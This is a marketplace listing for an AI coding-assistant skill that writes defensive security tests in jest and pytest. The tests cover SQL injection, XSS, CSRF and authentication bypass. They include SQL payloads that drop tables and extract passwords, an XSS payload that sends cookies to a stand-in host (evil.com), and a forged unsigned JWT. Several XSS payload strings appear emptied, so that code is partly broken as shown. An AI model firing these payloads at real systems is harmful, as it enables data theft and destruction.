AgentStack
Browse Sign in
Browse Why AgentStack Sell Docs
Sign in
SKILL unreviewed MIT Self-run

Security Test Generator

skill-kalshamsi-claude-security-skills-security-test-generator · by kalshamsi

Use when writing security tests for a web application, building a vulnerability regression suite, creating pentest-style automated tests, generating runnable injection/XSS/auth test code, or adding security coverage to an existing test suite.

No reviews yet
0 installs
7 views
0.0% view→install

Install

$ agentstack add skill-kalshamsi-claude-security-skills-security-test-generator

Open-source listing, not yet scanned by AgentStack. Follow the source repository for install instructions.

Security review

⚠ Flagged

1 finding(s); flagged for manual review. · v0.1.0 How review works →

  • Prompt-injection patterns
  • Secret / credential exfiltration
  • Dangerous shell & filesystem operations
  • Untrusted network calls
  • Known-malicious package signatures
  • high Destructive filesystem operation.

What it can access

  • Network access Used
  • Filesystem access Used
  • Shell / process execution No
  • Environment & secrets No
  • Dynamic code execution No

From automated source analysis of v0.1.0. “Used” means the capability is present in the source — more access means more to trust, not that it’s unsafe.

View the full security report →

Reliability & compatibility

Not yet reviewed
0 installs to date
no reviews yet
3mo ago

Declared compatibility

Claude CodeClaude Desktop

Compatibility is declared by the source manifest. End-to-end runtime verification is coming, see below.

Preview Execution monitoring

We're building live execution health for every listing: tool-call success rate, median latency, uptime, and last-checked timestamps, measured, not self-reported. It isn't live yet, so we don't show numbers we can't stand behind.

How agent discovery & health will work →
Are you the author of Security Test Generator? Claim this listing to set pricing, connect Stripe payouts, and keep 70% of every sale.
Sign up to claim

About

Security Test Generator

This skill generates executable security test suites targeting common web application vulnerabilities. Unlike scanning skills that report findings, this skill outputs runnable test code in jest+supertest (JavaScript/TypeScript) or pytest+requests (Python) that actively probes endpoints for SQL injection, XSS, CSRF, authentication bypass, path traversal, SSRF, and mass assignment vulnerabilities — mapping each test case to CWE and OWASP Top 10:2021 standards.

When to Use

  • When the user asks to "generate security tests" or "create a security test suite"
  • When the user wants "vulnerability tests", "pentest tests", or "security regression tests"
  • When the user asks to "write tests for OWASP Top 10" or "test for SQL injection"
  • When the user wants automated security tests for an Express, Fastify, Koa, Flask, Django, or FastAPI application
  • When a pull request adds new API endpoints and the user wants security test coverage
  • When the user asks to "test my API for security issues" or "generate exploit tests"

When NOT to Use

DO NOT activate if the request is not about producing runnable security test code, even if the word "security" appears. The presence of security keywords alone is not a trigger — the request must be about writing executable test cases that probe a web application or API for vulnerabilities.

  • When the user wants a static analysis scan — Decline and recommend bandit-sast or security-review
  • When the user wants a cryptographic audit — Decline and recommend crypto-audit
  • When the user is asking about security concepts without wanting test code generated — Decline and answer the conceptual question directly without generating test files
  • When the project has no web endpoints or API routes to test — Decline and explain that this skill targets HTTP request/response flows
  • When the user wants a CI/CD pipeline — you MUST decline and recommend devsecops-pipeline
  • When the user wants a security scan or vulnerability report (not test code) — you MUST decline and recommend bandit-sast, security-review, or the appropriate scanning skill

Prerequisites

Tool Installed (Preferred)

No external tool required. This skill generates test code using code analysis only.

All test generation is performed through code inspection and template synthesis — no CLI tool needs to be installed, configured, or invoked. The generated tests use standard testing frameworks (jest+supertest or pytest+requests) that the user installs in their own project.

Tool Not Installed (Fallback)

This skill is always available as a pure code-generation skill. There is no fallback mode because there is no external tool dependency. The skill analyzes code and produces runnable test files directly.

Framework Detection

Before generating tests, detect the project language and framework:

  1. JavaScript/TypeScript (jest + supertest)
  • Detect: package.json exists AND contains express, fastify, koa, or hapi in dependencies or devDependencies
  • Test runner: jest with supertest
  • Output: __tests__/security/.security.test.js or .test.ts
  1. Python (pytest + requests)
  • Detect: setup.py, pyproject.toml, or requirements.txt exists AND contains flask, django, fastapi, or starlette
  • Test runner: pytest with requests
  • Output: tests/security/test__security.py
  1. Framework-agnostic (bash + curl)
  • Detect: No recognized framework found
  • Output: tests/security/security_tests.sh — a bash script using curl with malicious payloads
  • Each test: send curl request, check HTTP status code, grep response for injected content

Test Anatomy

Every generated security test follows this structure:

  1. Descriptive test name — includes the vulnerability type and CWE ID (e.g., "should reject SQL injection in search parameter (CWE-89)")
  2. Arrange — set up the malicious payload
  3. Act — send the request to the target endpoint with the payload
  4. Assert — verify the application rejects the payload:
  • Response status code should be 400, 403, or 422 (NOT 200 or 302)
  • Response body must NOT contain the injected content (no reflected script tags, no SQL error messages, no file contents)
  1. Comment — link to the relevant CWE and OWASP category

Jest + Supertest Template Structure

const request = require('supertest');
const app = require('../app'); // Adjust path to your Express app

describe('Security Tests - /api/users', () => {
  afterAll(async () => {
    // Close server/database connections if needed
  });

  describe('SQL Injection (CWE-89)', () => {
    const payloads = [
      "' OR '1'='1",
      "'; DROP TABLE users; --",
      "' UNION SELECT null, username, password FROM users --",
    ];

    payloads.forEach((payload) => {
      it(`should reject SQL injection payload: ${payload} (CWE-89)`, async () => {
        // Arrange
        const maliciousInput = payload;

        // Act
        const response = await request(app)
          .get('/api/users')
          .query({ search: maliciousInput });

        // Assert — app must reject or sanitize, not return 200 with injected data
        expect(response.status).not.toBe(200);
        expect(response.text).not.toContain('DROP TABLE');
        // CWE-89: Improper Neutralization of Special Elements in SQL
        // OWASP A03:2021 - Injection
      });
    });
  });
});

Pytest Template Structure

import pytest
import requests

BASE_URL = "http://localhost:5000"  # Adjust to your Flask/FastAPI app

@pytest.mark.security
class TestSQLInjection:
    """SQL Injection tests — CWE-89, OWASP A03:2021"""

    payloads = [
        "' OR '1'='1",
        "'; DROP TABLE users; --",
        "' UNION SELECT null, username, password FROM users --",
    ]

    @pytest.mark.parametrize("payload", payloads)
    def test_search_rejects_sql_injection(self, payload):
        """CWE-89: SQL Injection in search parameter — OWASP A03:2021"""
        # Arrange
        params = {"q": payload}

        # Act
        response = requests.get(f"{BASE_URL}/api/search", params=params)

        # Assert — app must reject or sanitize
        assert response.status_code != 200, (
            f"Endpoint returned 200 for SQL injection payload: {payload}"
        )
        assert "DROP TABLE" not in response.text

Vulnerability Checks

Check 1: SQL Injection (CWE-89)

CWE-89 (Improper Neutralization of Special Elements used in an SQL Command) | A03:2021 - Injection | Severity: Critical

WHY: SQL injection allows attackers to read, modify, or delete arbitrary database data, bypass authentication, and in some cases execute operating system commands. It remains one of the most exploited vulnerability classes — a single unparameterized query can compromise an entire database.

DETECT: Scan for string concatenation or interpolation inside SQL query strings:

  • JavaScript/TypeScript: db.query("SELECT ... " + variable), template literals in query strings, .prepare() or .execute() with string interpolation
  • Python: cursor.execute(f"SELECT ... {variable}"), cursor.execute("SELECT ... " + variable), cursor.execute("SELECT ... %s" % variable)

Malicious Payloads:

' OR '1'='1
'; DROP TABLE users; --
' UNION SELECT null, username, password FROM users --
1; WAITFOR DELAY '0:0:5' --
' AND 1=CONVERT(int, (SELECT TOP 1 password FROM users)) --

Generated Test — Jest + Supertest:

describe('SQL Injection (CWE-89)', () => {
  const sqlPayloads = [
    "' OR '1'='1",
    "'; DROP TABLE users; --",
    "' UNION SELECT null, username, password FROM users --",
  ];

  sqlPayloads.forEach((payload) => {
    it(`should reject SQL injection in search: ${payload} (CWE-89)`, async () => {
      const response = await request(app)
        .get('/api/users')
        .query({ search: payload });

      expect(response.status).not.toBe(200);
      expect(response.text).not.toMatch(/syntax error|SQL|mysql|sqlite/i);
      // CWE-89 | OWASP A03:2021 - Injection
    });
  });
});

Generated Test — Pytest:

@pytest.mark.security
@pytest.mark.parametrize("payload", [
    "' OR '1'='1",
    "'; DROP TABLE users; --",
    "' UNION SELECT null, username, password FROM users --",
])
def test_sql_injection_search(payload):
    """CWE-89: SQL Injection via search parameter — OWASP A03:2021"""
    response = requests.get(f"{BASE_URL}/api/search", params={"q": payload})
    assert response.status_code != 200, f"SQLi payload accepted: {payload}"
    assert "syntax error" not in response.text.lower()
    assert "sql" not in response.text.lower()

Check 2: Cross-Site Scripting — XSS (CWE-79)

CWE-79 (Improper Neutralization of Input During Web Page Generation) | A03:2021 - Injection | Severity: High

WHY: XSS allows attackers to inject client-side scripts into web pages viewed by other users, enabling session hijacking, credential theft, defacement, and phishing. Reflected XSS exploits occur when user input is echoed back in HTML responses without escaping.

DETECT: Scan for user input directly concatenated or interpolated into HTML response strings:

  • JavaScript/TypeScript: res.send("" + req.query.name), template literals with ${req.body.field} in HTML strings, innerHTML assignments
  • Python: return f"{request.args.get('name')}", make_response() with unescaped input, Jinja2 |safe filter on user input

Malicious Payloads:

alert(1)

">document.location='http://evil.com/steal?c='+document.cookie

javascript:alert(1)

Generated Test — Jest + Supertest:

describe('Cross-Site Scripting (CWE-79)', () => {
  const xssPayloads = [
    'alert(1)',
    '',
    '">document.location="http://evil.com"',
  ];

  xssPayloads.forEach((payload) => {
    it(`should reject XSS payload: ${payload} (CWE-79)`, async () => {
      const response = await request(app)
        .get('/api/profile')
        .query({ name: payload });

      expect(response.text).not.toContain('');
      expect(response.text).not.toContain('onerror=');
      // CWE-79 | OWASP A03:2021 - Injection
    });
  });
});

Generated Test — Pytest:

@pytest.mark.security
@pytest.mark.parametrize("payload", [
    "alert(1)",
    "",
    '">document.location="http://evil.com"',
])
def test_xss_profile(payload):
    """CWE-79: Reflected XSS in profile endpoint — OWASP A03:2021"""
    response = requests.get(f"{BASE_URL}/api/profile", params={"name": payload})
    assert "" not in response.text
    assert "onerror=" not in response.text

Check 3: Cross-Site Request Forgery — CSRF (CWE-352)

CWE-352 (Cross-Site Request Forgery) | A01:2021 - Broken Access Control | Severity: High

WHY: CSRF attacks trick authenticated users into submitting unintended requests. An attacker crafts a malicious page that automatically submits a form or XHR to the vulnerable application, inheriting the victim's session cookies. This can trigger fund transfers, password changes, or privilege escalation without the user's knowledge.

DETECT: Scan for state-changing endpoints (POST, PUT, DELETE) that do not check for a CSRF token:

  • JavaScript/TypeScript: app.post('/path', handler) where handler does not check req.headers['x-csrf-token'] or use a CSRF middleware (e.g., csurf)
  • Python: @app.route('/path', methods=['POST']) without @csrf.exempt being intentional or without CSRF middleware (e.g., flask_wtf.csrf)

Malicious Payloads:

POST request with no CSRF token header
POST request with empty X-CSRF-Token header
POST request with forged/invalid CSRF token
POST request from cross-origin (Origin: http://evil.com)

Generated Test — Jest + Supertest:

describe('CSRF Protection (CWE-352)', () => {
  it('should reject POST without CSRF token (CWE-352)', async () => {
    const response = await request(app)
      .post('/api/transfer')
      .send({ from: 'user1', to: 'attacker', amount: 1000 });

    expect(response.status).not.toBe(200);
    expect(response.status).not.toBe(302);
    // CWE-352 | OWASP A01:2021 - Broken Access Control
  });

  it('should reject POST with invalid CSRF token (CWE-352)', async () => {
    const response = await request(app)
      .post('/api/transfer')
      .set('X-CSRF-Token', 'invalid-token-value')
      .send({ from: 'user1', to: 'attacker', amount: 1000 });

    expect(response.status).not.toBe(200);
    // CWE-352 | OWASP A01:2021 - Broken Access Control
  });

  it('should reject cross-origin POST (CWE-352)', async () => {
    const response = await request(app)
      .post('/api/transfer')
      .set('Origin', 'http://evil.com')
      .send({ from: 'user1', to: 'attacker', amount: 1000 });

    expect(response.status).not.toBe(200);
    // CWE-352 | OWASP A01:2021 - Broken Access Control
  });
});

Generated Test — Pytest:

@pytest.mark.security
class TestCSRF:
    """CSRF protection tests — CWE-352, OWASP A01:2021"""

    def test_post_without_csrf_token(self):
        """CWE-352: POST without CSRF token should be rejected"""
        response = requests.post(
            f"{BASE_URL}/api/transfer",
            json={"from": "user1", "to": "attacker", "amount": 1000},
        )
        assert response.status_code != 200
        assert response.status_code != 302

    def test_post_with_invalid_csrf_token(self):
        """CWE-352: POST with invalid CSRF token should be rejected"""
        response = requests.post(
            f"{BASE_URL}/api/transfer",
            json={"from": "user1", "to": "attacker", "amount": 1000},
            headers={"X-CSRF-Token": "invalid-token-value"},
        )
        assert response.status_code != 200

    def test_post_from_cross_origin(self):
        """CWE-352: Cross-origin POST should be rejected"""
        response = requests.post(
            f"{BASE_URL}/api/transfer",
            json={"from": "user1", "to": "attacker", "amount": 1000},
            headers={"Origin": "http://evil.com"},
        )
        assert response.status_code != 200

Check 4: Authentication Bypass (CWE-287)

CWE-287 (Improper Authentication) | A07:2021 - Identification and Authentication Failures | Severity: Critical

WHY: Endpoints that skip authentication middleware allow any unauthenticated user to access sensitive operations. Attackers discover these unprotected endpoints through forced browsing or API enumeration, gaining access to admin panels, configuration endpoints, or user data without credentials.

DETECT: Scan for route handlers on sensitive paths that lack authentication middleware:

  • JavaScript/TypeScript: app.post('/api/admin/*', handler) or app.get('/api/users', handler) where handler is directly defined without an auth middleware parameter (e.g., app.post('/admin/config', (req, res) => ...) vs app.post('/admin/config', authMiddleware, (req, res) => ...))
  • Python: @app.route('/admin/*') without @login_required or session/token checks in the handler body

Malicious Payloads:

Request to admin endpoint with no Authorization header
Request with empty Bearer token
Request with malformed JWT: eyJhbGciOiJub25lIn0.eyJyb2xlIjoiYWRtaW4ifQ.
Request to sensitive endpoint as unauthenticated user

Generated Test — Jest + Supertest:

describe('Authentication Bypass (CWE-287)', () => {
  it('should require authentication on admin endpoints (CWE-287)', async () => {
    const response = await request(app)
      .post('/api/admin/config')
      .send({ setting: 'debug', value: true });

    expect(response.status).toBe(401);
    // CWE-287 | OWASP A07:2021 - Identification and Authentication Failures
  });

  it('should reject empty Bearer token (CWE-287)', async () => {
    const response = await request(app)

…

## Source & license

This open-source skill is cataloged on AgentStack and links to its original source — we do not rehost the code.

- **Author:** [kalshamsi](https://github.com/kalshamsi)
- **Source:** [kalshamsi/claude-security-skills](https://github.com/kalshamsi/claude-security-skills)
- **License:** MIT

Install and usage instructions live in the source repository linked above.

Reviews

No reviews yet, be the first.

Versions

  • v0.1.0 Imported from the upstream source.